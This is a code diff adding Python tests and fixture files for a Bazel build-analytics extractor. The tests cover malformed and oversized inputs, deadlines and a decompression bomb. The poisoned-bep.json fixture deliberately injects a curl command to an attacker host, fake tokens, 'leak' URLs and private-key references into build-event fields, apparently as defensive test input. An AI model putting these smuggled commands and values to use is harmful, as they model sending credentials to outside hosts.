"11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + # Spawn.target_label (field 7) re-encoded as a varint instead of a + # length-delimited string. + entry = _length_prefixed(b"\x3a" + _length_prefixed(b"\x38\x01")) + rec = self._run(self._bep(uuid), inv_entry + entry) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "corrupt")) + + def test_metrics_input_bytes_as_bytes_is_skipped_not_crashed(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + metrics = b"\x42" + _length_prefixed(b"\x5a" + _length_prefixed(b"xx")) + entry = _length_prefixed(b"\x3a" + _length_prefixed(metrics)) + rec = self._run(self._bep(uuid), inv_entry + entry) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "corrupt")) + + def test_invocation_submessage_as_varint_degrades(self): + rec = self._run(self._bep(), _length_prefixed(b"\x10\x05")) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "mismatch", "corrupt")) + + def test_huge_length_prefix_does_not_crash(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _varint(2**62) + b"abc") + self.assertIsNotNone(rec) + + def test_deadline_is_checked_inside_a_single_oversized_submessage(self): + """spawns()'s own deadline check fires once per ExecLogEntry -- but + a single entry can itself be made arbitrarily large (a reviewer's + adversarial script built one 40 MB Spawn out of millions of tiny + 2-byte fields and measured 15.8s against a 5s deadline, since + nothing inside fields() ever looked at the clock). Build one + Spawn's SpawnMetrics submessage (field 18) out of many tiny unknown + fields -- small enough to construct quickly in a test, but still + many times DEADLINE_CHECK_EVERY -- and confirm an already-elapsed + deadline is caught well before the whole submessage is decoded.""" + uuid = "11111111-2222-3333-4444-555555555555" + # field 1 (total_ms, wire 0): 2 bytes/field (tag + a 1-byte value). + huge_metrics = b"\x08\x00" * (extract.DEADLINE_CHECK_EVERY * 5) + spawn_body = _spawn("//:huge", "CppCompile", "local", False, huge_metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + start = time.monotonic() + rec = self._run(self._bep(uuid), exec_log, deadline=time.monotonic() - 1) + elapsed = time.monotonic() - start + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "timeout") + self.assertLess(elapsed, 5.0) + + def test_bep_line_is_a_list(self): + rec = self._run(self._bep(lines_after=["[1,2,3]", '{"finished":{}}']), None) + self.assertIsNotNone(rec) + + def test_bep_line_is_a_bare_string(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write('"started here"\n{"x":1}\n') + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) # no valid started event anywhere: dropped, not crashed + + def test_bep_inf_number_in_started(self): + text = self._bep(extra_started={"startTimeMillis": 1e999}).replace("Infinity", "1e999") + rec = self._run(text, None) + self.assertIsNotNone(rec) + self.assertEqual(rec["started_ms"], 0) # as_int() degraded the overflow to the default + + def test_bep_started_not_a_dict(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write('{"started": 5}\n') + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) # started never became valid: dropped, not crashed + + def test_critpath_bad_float_does_not_crash(self): + cp = "Critical Path: 1.2.3s, Remote (0.0% of the time): []\n" + rec = self._run( + self._bep( + lines_after=[ + json.dumps( + { + "buildToolLogs": { + "log": [ + { + "name": "critical path", + "contents": base64.b64encode(cp.encode()).decode(), + } + ] + } + } + ) + ] + ), + None, + ) + self.assertIsNotNone(rec) + + def test_testresult_not_a_dict(self): + rec = self._run( + self._bep( + lines_after=[ + json.dumps({"id": {"testResult": {"label": "//:a"}}, "testResult": "PASSED"}) + ] + ), + None, + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["tests"], []) # the malformed event was skipped + + def test_runnercount_count_overflow_does_not_crash(self): + rec = self._run( + self._bep( + lines_after=[ + '{"buildMetrics":{"actionSummary":{"runnerCount":[{"name":"remote","count":1e999}]}}}' + ] + ), + None, + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["actions"]["remote"], 0) # the overflow degraded to the default + + def _profile_with_event(self, event_line): + return '{"traceEvents":[\n' + event_line + "\n]}\n" + + def test_repo_fetch_infinite_ts_does_not_crash(self): + # 1e999 parses as float('inf') via json's default Infinity literal + # (iter_repo_fetch does not reject non-finite constants the way + # read_bep() does -- it must instead catch them with isfinite()). + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": 1e999, "dur": 1}).replace( + "Infinity", "1e999" + ) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_nan_ts_does_not_crash(self): + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": float("nan"), "dur": 1}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_overflowing_sum_does_not_crash(self): + # ts and dur are each individually finite (1e308 is a valid + # float), but their sum overflows a double to inf: isfinite(start) + # alone would miss this, only isfinite(end) catches it. + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": 1e308, "dur": 1e308}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_corrupt_entry_does_not_hide_valid_siblings(self): + bad = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": float("nan"), "dur": 1}) + good = json.dumps({"cat": "Fetching repository", "name": "@@rules_cc+", "ts": 0, "dur": 500}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write('{"traceEvents":[\n' + ",\n".join((bad, good)) + "\n]}\n") + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(status, "corrupt") + self.assertEqual([r["repo"] for r in rows], ["@@rules_cc+"]) + + +class BoundsTests(unittest.TestCase): + def test_exec_log_parse_timeout_is_reported(self): + uuid = "11111111-2222-3333-4444-555555555555" + exec_log = _invocation_entry(uuid) + # DEADLINE_CHECK_EVERY (2000) + a margin of spawn entries, so the + # deadline check inside spawns() fires at least once. The BEP + # itself is a single line, so read_bep()'s own (much coarser) + # check never fires even with an already-elapsed deadline: the + # timeout this test exercises is specifically the exec-log pass'. + for i in range(extract.DEADLINE_CHECK_EVERY + 50): + exec_log += _entry_with_spawn( + _spawn(f"//:t{i}", "CppCompile", "local", False, _spawn_metrics(total_ms=1)) + ) + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + ep = os.path.join(tmp, "x.exec") + with open(bp, "w", encoding="utf-8") as f: + f.write( + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + "\n" + ) + with open(ep, "wb") as f: + f.write(exec_log) + # An already-elapsed deadline: once the spawn loop's entry + # count crosses DEADLINE_CHECK_EVERY, it must raise + # ParseTimeout, which build_invocation turns into an + # "exec_log": "timeout" status rather than propagating. + rec = extract.build_invocation("test", bp, ep, None, time.monotonic() - 1) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "timeout") + + @unittest.skipUnless(shutil.which("zstd"), "zstd not on PATH") + def test_zstd_round_trip(self): + uuid = "11111111-2222-3333-4444-555555555555" + raw = synthetic_exec_log(uuid) + with tempfile.TemporaryDirectory() as tmp: + compressed = os.path.join(tmp, "exec.log.zst") + proc = subprocess.run( + ["zstd", "-q", "-o", compressed], + input=raw, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=True, + ) + del proc + data, status = extract.load_exec_log(compressed, _deadline()) + self.assertEqual(status, "ok") + self.assertEqual(data, raw) + + @unittest.skipUnless(shutil.which("zstd"), "zstd not on PATH") + def test_zstd_decompression_bomb_is_bounded(self): + # Patch MAX_EXEC_LOG_BYTES down instead of actually decompressing + # past the real 512 MiB cap: this test only needs to prove + # load_exec_log() stops reading once the decompressed stream + # crosses the cap, not that the cap is specifically 512 MiB, and a + # 600 MiB bomb was slow to build and (briefly) held 512 MiB+ in + # this process regardless of the outcome. + old_cap = extract.MAX_EXEC_LOG_BYTES + extract.MAX_EXEC_LOG_BYTES = 8 * 1024 * 1024 # 8 MiB + try: + with tempfile.TemporaryDirectory() as tmp: + bomb = os.path.join(tmp, "bomb.zst") + # 64 MiB of zeros, well past the patched 8 MiB cap, + # compresses to a tiny file almost instantly. + dd = subprocess.Popen( + ["dd", "if=/dev/zero", "bs=1M", "count=64"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL + ) + with open(bomb, "wb") as out: + zstd = subprocess.Popen(["zstd", "-q", "-1"], stdin=dd.stdout, stdout=out) + dd.stdout.close() + zstd.communicate(timeout=60) + dd.wait(timeout=60) + start = time.monotonic() + data, status = extract.load_exec_log(bomb, time.monotonic() + 30) + elapsed = time.monotonic() - start + finally: + extract.MAX_EXEC_LOG_BYTES = old_cap + self.assertIsNone(data) + self.assertEqual(status, "too_large") + self.assertLess(elapsed, 30.0) + + +class ContractTests(unittest.TestCase): + """The S4 contract: a stable, always-complete key set and status + vocabulary, so the collector never has to guess at a missing field.""" + + def test_max_test_results_is_a_global_total_not_per_label(self): + lines = [ + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": "u", + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + ] + # Two labels, each with more rows than half of a small total cap: + # if the cap were still enforced per-label, both labels would fit + # under it individually; enforced globally, the combined total must + # be clipped. + old_cap = extract.MAX_TEST_RESULTS + extract.MAX_TEST_RESULTS = 10 + try: + for label_i in range(2): + for run in range(8): + lines.append( + json.dumps( + { + "id": { + "testResult": { + "label": f"//:label{label_i}", + "run": run, + "shard": 0, + "attempt": 1, + } + }, + "testResult": {"status": "PASSED", "testAttemptDurationMillis": "1"}, + } + ) + ) + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write("\n".join(lines) + "\n") + rec = extract.build_invocation("test", bp, None, None, _deadline()) + finally: + extract.MAX_TEST_RESULTS = old_cap + self.assertIsNotNone(rec) + total = sum(len(t["results"]) for t in rec["tests"]) + self.assertLessEqual(total, 10) + self.assertGreater(rec["tests_truncated"], 0) + + def test_exit_code_is_minus_one_without_a_finished_event(self): + rec = self._run_minimal_bep() + self.assertEqual(rec["exit_code"], -1) + self.assertEqual(rec["exit_name"], "UNKNOWN") + + def test_profile_missing_vs_unreadable_vs_ok(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + rec_missing = extract.build_invocation("test", bp, None, None, _deadline()) + rec_unreadable = extract.build_invocation( + "test", bp, None, os.path.join(tmp, "nope.json"), _deadline() + ) + profile_path = os.path.join(tmp, "profile.json") + with open(profile_path, "w", encoding="utf-8") as f: + json.dump({"traceEvents": []}, f) + rec_ok = extract.build_invocation("test", bp, None, profile_path, _deadline()) + self.assertEqual(rec_missing["profile"], "missing") + self.assertEqual(rec_unreadable["profile"], "unreadable") + self.assertEqual(rec_ok["profile"], "ok") + + def test_exec_log_missing_vs_unreadable(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + rec_missing = extract.build_invocation("test", bp, None, None, _deadline()) + rec_unreadable = extract.build_invocation( + "test", bp, os.path.join(tmp, "nope.exec"), None, _deadline() + ) + self.assertEqual(rec_missing["exec_log"], "missing") + self.assertEqual(rec_unreadable["exec_log"], "unreadable") + + @staticmethod + def _minimal_bep_text(): + return ( + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": "11111111-2222-3333-4444-555555555555", + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + "\n" + ) + + def _run_minimal_bep(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + return extract.build_invocation("test", bp, None, None, _deadline()) + + +class BEPReadContractTests(unittest.TestCase): + """The malformed-middle-line vs. truncated-last-line BEP contract + (shared with gascity's bep.go / beads' extractor), plus the ported + beads invocation-id mismatch fixture.""" + + def _started_line(self, uuid): + return json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + def test_malformed_middle_line_drops_the_invocation(self): + uuid = "11111111-2222-3333-4444-555555555555" + text = self._started_line(uuid) + "\n{not json\n" + '{"finished":{}}\n' + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(text) + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) + + def test_truncated_last_line_sets_bep_truncated(self): + uuid = "11111111-2222-3333-4444-555555555555" + text = self._started_line(uuid) + "\n" + '{"finished": {"exitCode": {"cod' # cut off mid-line + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(text) + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNotNone(rec) + self.assertTrue(rec["bep_truncated"]) + + def test_beads_mismatch_fixture_reports_mismatch(self): + """Ported from beads' tools/bazel/testdata/ci_analytics/ + mismatch.bep.jsonl: a BEP whose started.uuid does not match the + exec log's embedded invocation id.""" + bep_path = os.path.join(TESTDATA, "mismatch.bep.jsonl") + with open(bep_path, encoding="utf-8") as f: + text = f.read() + self.assertIn("99999999-0000-1111-2222-333333333333", text) + exec_log = synthetic_exec_log("00000000-aaaa-bbbb-cccc-000000000000") + with tempfile.TemporaryDirectory() as tmp: + ep = os.path.join(tmp, "mismatch.exec") + with open(ep, "wb") as f: + f.write(exec_log) + rec = extract.build_invocation("test", bep_path, ep, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "mismatch") + self.assertEqual(rec["mnemonics"], []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl b/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl new file mode 100644 index 000000000..37680e98d --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl @@ -0,0 +1,3 @@ +{"started": {"uuid": "99999999-0000-1111-2222-333333333333", "command": "test", "buildToolVersion": "9.2.0", "startTimeMillis": "2000"}} +{"buildMetrics": {"timingMetrics": {"wallTimeInMs": "15"}, "actionSummary": {"actionsCreated": "1", "actionsExecuted": "1"}}} +{"finished": {"exitCode": {"code": 0, "name": "SUCCESS"}, "finishTimeMillis": "2015"}} diff --git a/tools/bazel/testdata/ci_analytics/poisoned-bep.json b/tools/bazel/testdata/ci_analytics/poisoned-bep.json new file mode 100644 index 000000000..258a06e7e --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/poisoned-bep.json @@ -0,0 +1,8 @@ +{"id": {"started": {}}, "started": {"uuid": "poison-0000-0000-0000-000000000000", "startTimeMillis": "1700000000000", "buildToolVersion": "9.2.0; TOKEN=ghp_SECRETTOKEN1234567890 at http://evil.example.com/leak", "command": "test\nexport AWS_SECRET_ACCESS_KEY=abcd1234 && curl https://attacker.example/x"}} +{"id": {"unstructuredCommandLine": {}}, "unstructuredCommandLine": {"args": ["test", "--remote_executor=grpcs://rbe-west-internal.ops.gascity.com:443", "--tls_client_key=/etc/secrets/rbe-client.key", "--test_env=DEPLOY_TOKEN=s3cr3t-deploy-token-0001"]}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 0, "attempt": 1}}, "testResult": {"status": "PASSED; /root/.ssh/id_rsa leaked, see 10.0.0.5", "executionInfo": {"strategy": "remote cache hit; token=ghp_abc123"}, "cachedLocally": false, "testAttemptDurationMillis": "123"}} +{"id": {"testSummary": {"label": "//:pass_test"}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "100", "wallTimeInMs": "200"}, "actionSummary": {"actionsCreated": "5", "actionsExecuted": "5", "runnerCount": [{"name": "remote; -----BEGIN PRIVATE KEY----- leak", "count": "5", "execKind": "Remote"}], "actionData": [{"mnemonic": "CppCompile; /home/runner/secret", "actionsExecuted": "5", "actionsCreated": "5", "userTime": "1s", "systemTime": "1s"}]}}} +{"id": {"finished": {}}, "finished": {"exitCode": {"code": 0, "name": "SUCCESS; https://leak.example.com/token=abc"}, "finishTimeMillis": "1700000001000"}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMS4wMHMsIFJlbW90ZSAoMC4wJSBvZiB0aGUgdGltZSk6IFsKICAxLjAwcyBhY3Rpb24gJ1Rlc3RpbmcgLy86cGFzc190ZXN0IChzaGFyZCAwIG9mIDEpJyBzZWNyZXQ9aHVudGVyMgo="}, {"name": "elapsed time", "contents": "MS4w"}]}} +{"id": {"testSummary": {"label": "//pkg:x/etc/evil_test"}}, "testSummary": {"overallStatus": "PASSED; DEPLOY_TOKEN=s3cr3t-deploy-token-0001", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}} diff --git a/tools/bazel/testdata/ci_analytics/real/cold-bep.json b/tools/bazel/testdata/ci_analytics/real/cold-bep.json new file mode 100644 index 000000000..3ea8ad7af --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-bep.json @@ -0,0 +1,12 @@ +{"id": {"started": {}}, "started": {"uuid": "ea882f0a-d70d-4e98-8471-874fa38dd26e", "startTimeMillis": "1791360355792", "buildToolVersion": "9.2.0", "command": "test"}} +{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "46", "status": "FAILED", "testAttemptDuration": "0.046s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.046s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "43", "status": "PASSED", "testAttemptDuration": "0.043s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.043s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.045s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "49", "status": "PASSED", "testAttemptDuration": "0.049s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.049s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "56", "status": "PASSED", "testAttemptDuration": "0.056s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.056s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}} +{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "attemptCount": 1}} +{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 3, "attemptCount": 1}} +{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360367926", "exitCode": {"name": "TESTS_FAILED", "code": 3}}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MTIuMTM0MDAw"}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4yM3MsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMTFzIGFjdGlvbiAnVGVzdGluZyAvLzpzaGFyZGVkX3Rlc3QgKHNoYXJkIDMgb2YgMyknCiAgMC4wMHMgcnVuZmlsZXMgZm9yIC8vOnNoYXJkZWRfdGVzdAogIDAuMDdzIGFjdGlvbiAnTGlua2luZyBzaGFyZGVkX3Rlc3QnCiAgMC4wNXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9zaGFyZC5jJw=="}, {"name": "process stats", "contents": "MjUgcHJvY2Vzc2VzOiAxMyBpbnRlcm5hbCwgMTcgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.json"}, {"name": "execution_log.binpb.zst"}]}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "44660", "wallTimeInMs": "8862", "analysisPhaseTimeInMs": "2147", "executionPhaseTimeInMs": "2339", "actionsExecutionStartInMs": "6486", "criticalPathTime": "0.227630710s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 17, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.256s", "userTime": "0.063s", "actionsCreated": "5"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "systemTime": "0.095s", "userTime": "0.064s", "actionsCreated": "3"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "systemTime": "0.036s", "userTime": "0.037s", "actionsCreated": "3"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "1"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "systemTime": "0.002s", "actionsCreated": "1"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "2"}, {"mnemonic": "CcStrip", "actionsCreated": "3"}, {"mnemonic": "FileWrite", "actionsCreated": "3"}, {"mnemonic": "Symlink", "actionsCreated": "1"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "1"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "33058256", "bytesRecv": "134073050"}}}} diff --git a/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb b/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb new file mode 100644 index 000000000..24029aabc --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-exec.binpb @@ -0,0 +1,549 @@ +86 +SHA-256_main"$ea882f0a-d70d-4e98-8471-874fa38dd26e€| +3external/bazel_tools/tools/genrule/genrule-setup.shE +@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn +&bazel-out/k8-fastbuild/bin/gen_out.txtD +@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03ˆ:… + /bin/bash +-c +osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$ +PATH/bin:/usr/bin:/usr/local/bin 2(: +//:gen_outBGenruleZprocesswrapper-sandboxhpx’# +€¤èB€¤è¢ íú—ÖÀ‡Н¨€ Ä§¢ +Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE +@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•� +Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE +@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷ +Ÿš +Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE +@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢� +Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE +@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ +2*W S + main_fail.cD +@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b + +2"* ‰ „ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE +@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð ˆ ƒ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD +@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cg„:� + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d +I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_fail.c +-o +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd +2( 2( : //:flaky_testB +CppCompileZprocesswrapper-sandboxhpx’# +€‡§B€‡§¢ ïú—Ö€øũ¨€€êW S + main_pass.cD 